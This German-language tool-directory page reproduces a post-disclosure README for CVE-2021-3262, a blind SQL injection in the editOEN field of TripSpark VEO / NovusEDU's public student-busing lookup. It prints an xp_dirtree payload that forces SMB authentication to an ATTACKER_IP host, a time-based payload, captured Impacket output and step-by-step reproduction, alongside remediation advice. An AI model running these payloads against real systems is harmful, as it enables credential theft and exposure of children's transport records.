Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-3262 — CVE-2021-3262 - Blind-SQL-Injection im Parameter editOEN von TripSpark VEO Transportation / NovusEDU. Ohne Authentifizierung, über das Internet erreichbar. Payloads, annotierte Requests und Nachweise. | Kitploit
Tools/GitHubGitHub/l0lsec/cve-2021-3262
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPapers & ForschungLernen & BildungDatenbanksicherheit
GitHubl0lsec/cve-2021-3262

CVE-2021-3262

CVE-2021-3262 - Blind-SQL-Injection im Parameter editOEN von TripSpark VEO Transportation / NovusEDU. Ohne Authentifizierung, über das Internet erreichbar. Payloads, annotierte Requests und Nachweise.

Repository anzeigen
3vor 1 MonatNoch nicht geprüft
Webseite

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-3262

SQL-Injection in TripSpark VEO Transportation / NovusEDU

Die öffentliche Nachschlagseite „Student Busing Information", die mit TripSpark VEO Transportation ausgeliefert wird, nimmt nicht authentifizierte POST-Body-Eingaben entgegen und fügt sie ohne Parametrisierung oder serverseitige Validierung in eine SQL-Server-Abfrage ein. Der Parameter editOEN (das Schüler-N-Nummer-Feld) ist injizierbar.

Die Injektion ist blind: Die Anwendung gibt keine Datenbankfehler und keine verwertbaren unterschiedlichen Inhalte zurück. Sie ist dennoch vollständig out-of-band ausnutzbar, weil die Datenbankverbindung master.dbo.xp_dirtree erreichen kann, wodurch das SQL-Server-Dienstkonto gezwungen wird, sich ausgehend über SMB an einem angreifergesteuerten UNC-Pfad zu authentifizieren.

Gefunden während eines externen Penetrationstests. Im ursprünglichen Auftrag war die erbeutete Dienstkonto-Anmeldeinformation der Ausgangspunkt, der zur vollständigen Kompromittierung der Active-Directory-Domäne und -Gesamtstruktur des Kunden führte.

Veröffentlicht als CVE-2021-3262. Entdeckt und gemeldet von Sedric Louissaint von Show Up Show Out Security.


Zusammenfassung

CVECVE-2021-3262
ProduktTripSpark VEO Transportation / NovusEDU
BetroffenNovusEDU-2.2.x-XP_BB-20201123-184084, VEO--20201123-184084OS
SchwachstelleCWE-89: SQL-Injection
CVSS 3.1 (NVD)9.8 Critical CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS 2 (Forscher)9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P
Veröffentlicht2023-08-29
Getestet aufWindows Server 2012 R2 Standard, SQL Server 2012 (SP3) 11.0.6020.0 (x64)
Authentifizierung erforderlichKeine. Die Nachschlagseite ist konstruktionsbedingt über das Internet erreichbar.

NVD-Beschreibung:

TripSpark VEO Transportation-2.2.x-XP_BB-20201123-184084 NovusEDU-2.2.x-XP_BB-20201123-184084 erlaubt unsichere Dateneingaben in POST-Body-Parametern von Endbenutzern, ohne sie mit serverseitiger Logik zu bereinigen. Es war möglich, benutzerdefinierte SQL-Befehle in die Suchabfragen der „Student Busing Information"-Seite einzuschleusen.

Technische Details

Die offengelegte Angriffsfläche

Schulbezirke setzen die Seite „Student Busing Information" auf ihrer öffentlichen Website ein, damit Eltern die Buszuteilung eines Schülers nachschlagen können. Sie fragt nach einer Schüler-N-Nummer und einem Geburtsdatum und ist absichtlich nicht authentifiziert.

Die öffentliche Seite „Student Busing Information"

Das N-Number-Feld wird als editOEN übermittelt. Das Geburtsdatum wird als cboxMonth, cboxDay und cboxYear übermittelt. editOEN ist der injizierbare Parameter.

Blinde Injektion

Im Gegensatz zu vielen ASP.NET-Anwendungen dieser Bauart gibt diese Seite keine Datenbankfehler aus. Es gibt keinen sichtbaren Unterschied zwischen einer wohlgeformten und einer fehlerhaften Abfrage, daher führen In-Band-Techniken in eine Sackgasse.

Gestapelte Abfragen (Stacked Queries) werden jedoch ausgeführt, und das ist alles, was nötig ist.

Out-of-Band-Ausnutzung über xp_dirtree

master.dbo.xp_dirtree zählt ein Verzeichnis auf. Bei einem UNC-Pfad authentifiziert sich SQL Server vor dem Lesen über SMB am Zielhost. Wenn man es auf einen Listener ausrichtet, wird aus einer stillen Injektion eine sichtbare:

root@kitploit:~
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

Das Payload im editOEN-Parameter

Die Anfrage ist ein gewöhnlicher ASP.NET-WebForms-POST mit etwa 4.700 Bytes, der größtenteils aus __VIEWSTATE besteht. Die vollständige Anfrage finden Sie in poc/exploited-request.http, die Payloads in poc/payloads.sql.

Die ausgenutzte HTTP-Anfrage

Erbeutete Authentifizierung

Mit Impackts smbserver.py, das auf einem Host im öffentlichen Internet lauscht, authentifiziert sich der Datenbankserver im Netzwerk des Schulbezirks ausgehend:

root@kitploit:~
[*] Incoming connection (204.x.x.x,58497)
[*] AUTHENTICATE_MESSAGE (\SQLServices,<REDACTED>-VEO-DB)
[*] User <REDACTED>-VEO-DB\SQLServices authenticated successfully
[*] SQLServices::...

Mit Impacket erbeutete erzwungene Authentifizierung

Zwei Dinge sind ausdrücklich zu nennen. Erstens handelt es sich um ein nicht authentifiziertes, über das Internet erreichbares Formular, das auf eine Produktionsdatenbank zugreift. Zweitens durfte dieser Datenbankserver ausgehende SMB-Verbindungen zu beliebigen Internet-Hosts aufbauen, was die blinde Injektion erst beobachtbar machte.

Auswirkungen

Über die Injektion hinaus war die erbeutete NTLMv2-Anmeldeinformation des SQL-Server-Dienstkontos der erste Ausgangspunkt im ursprünglichen Auftrag. Von dort aus eskalierte die Untersuchung bis zur vollständigen Kompromittierung der Active-Directory-Domäne und -Gesamtstruktur des Kunden.

Die gefährdeten Daten sind Schülerbeförderungsdatensätze: Namen, Wohnadressen, zugewiesener Bus, zugewiesene Haltestelle, Abholzeiten und Sonderschul-Routen. Das ist ein Plan darüber, wo sich identifizierbare Kinder zu bekannten Zeiten physisch aufhalten werden.

Reproduktion

Gegen eine Laborinstanz, die Ihnen gehört oder für die Sie eine Testberechtigung haben:

  1. Laden Sie die Seite „Student Busing Information".
  2. Starten Sie einen Listener auf einem Host, den das Ziel erreichen kann:
    root@kitploit:~
    sudo smbserver.py c . -smb2support
    
  3. Übermitteln Sie das Formular mit dem xp_dirtree-Payload aus poc/payloads.sql im N-Number-Feld und setzen Sie dabei Ihre eigene IP ein. Erfassen und wiederholen Sie den POST, anstatt ihn im Browser einzutippen, falls das Feld ein clientseitiges Längenlimit hat, da dieses Limit serverseitig nicht existiert.
  4. Ein verwundbarer Build erzeugt eine eingehende SMB-Authentifizierung vom SQL-Server-Dienstkonto. An der HTTP-Antwort ändert sich nichts.
  5. Eine zeitbasierte Bestätigung funktioniert ebenfalls, wenn Sie kein eingehendes SMB empfangen können:
    root@kitploit:~
    123'; waitfor delay '0:0:10';--
    

Repository-Inhalt

root@kitploit:~
poc/
  payloads.sql            Detection, time-based and out-of-band payloads for editOEN
  exploited-request.http  The full POST request, ready for sqlmap -r
  sqlmap.md               sqlmap invocations for a blind stacked-query injection
media/
  01-student-busing-information-page.png
  02-editoen-payload-in-burp.png
  03-forced-auth-captured-impacket.png
  04-exploited-http-request.png

Client-IDs in den Erfassungen wurden geschwärzt. Die Listener-Adressen stammen aus dem ursprünglichen Auftrag und sind längst tot. Setzen Sie bei der Reproduktion Ihre eigenen ein.

Behebung

  1. Parametrisierte Abfragen. Binden Sie editOEN als Parameter, und das Payload wird unabhängig von seinem Inhalt zu einer inerten Zeichenkette.
  2. Serverseitige Validierung. Eine Schüler-Nummer ist kurz und numerisch. Erzwingen Sie das serverseitig und nicht im Formular.
  3. Minimale Rechte für das Datenbankkonto. Das Konto hinter einer öffentlichen Nachschlagseite muss Buszuteilungen lesen können und sonst nichts. Entziehen Sie den Zugriff auf xp_dirtree und die anderen erweiterten gespeicherten Prozeduren.
  4. Egress-Filterung. Ein Datenbankserver eines Schulbezirks hat keinen Grund, SMB-Verbindungen ins Internet aufzubauen. Das Blockieren von ausgehendem Port 445 entfernt den Out-of-Band-Kanal.
  5. Trennen Sie das öffentliche Formular vom System of Record. Die Seite, die Eltern nutzen, sollte eine eingeschränkte Replik abfragen, nicht die Produktionsdatenbank, die auch Sonderschul-Routen enthält.

Zeitleiste

DatumEreignis
2021Gefunden während eines externen Penetrationstests und an TripSpark gemeldet
2023-08-29CVE-2021-3262 auf NVD veröffentlicht, bewertet mit 9.8 Kritisch

Berichte

  • Persönlicher Bericht: https://sedriclouissaint.com/blog/tripspark-veo-sql-injection-cve-2021-3262/
  • Show Up Show Out Security: https://susos.co/blog/sqlspark-sql-injection-in-tripspark-veo-transport-cve-2021-3262

Haftungsausschluss

Nach der Offenlegung veröffentlicht, für defensive und Bildungszwecke. Führen Sie diese Payloads nicht gegen Systeme aus, die Ihnen nicht gehören oder für die Sie keine schriftliche Testgenehmigung haben. Wenn Sie eine Schulbezirks-Installation verwalten, ist die sinnvolle Maßnahme hier, Ihren Anbieter schriftlich zu fragen, ob die Abfragen hinter Ihren öffentlichen Formularen parametrisiert sind.

Tool herunterladen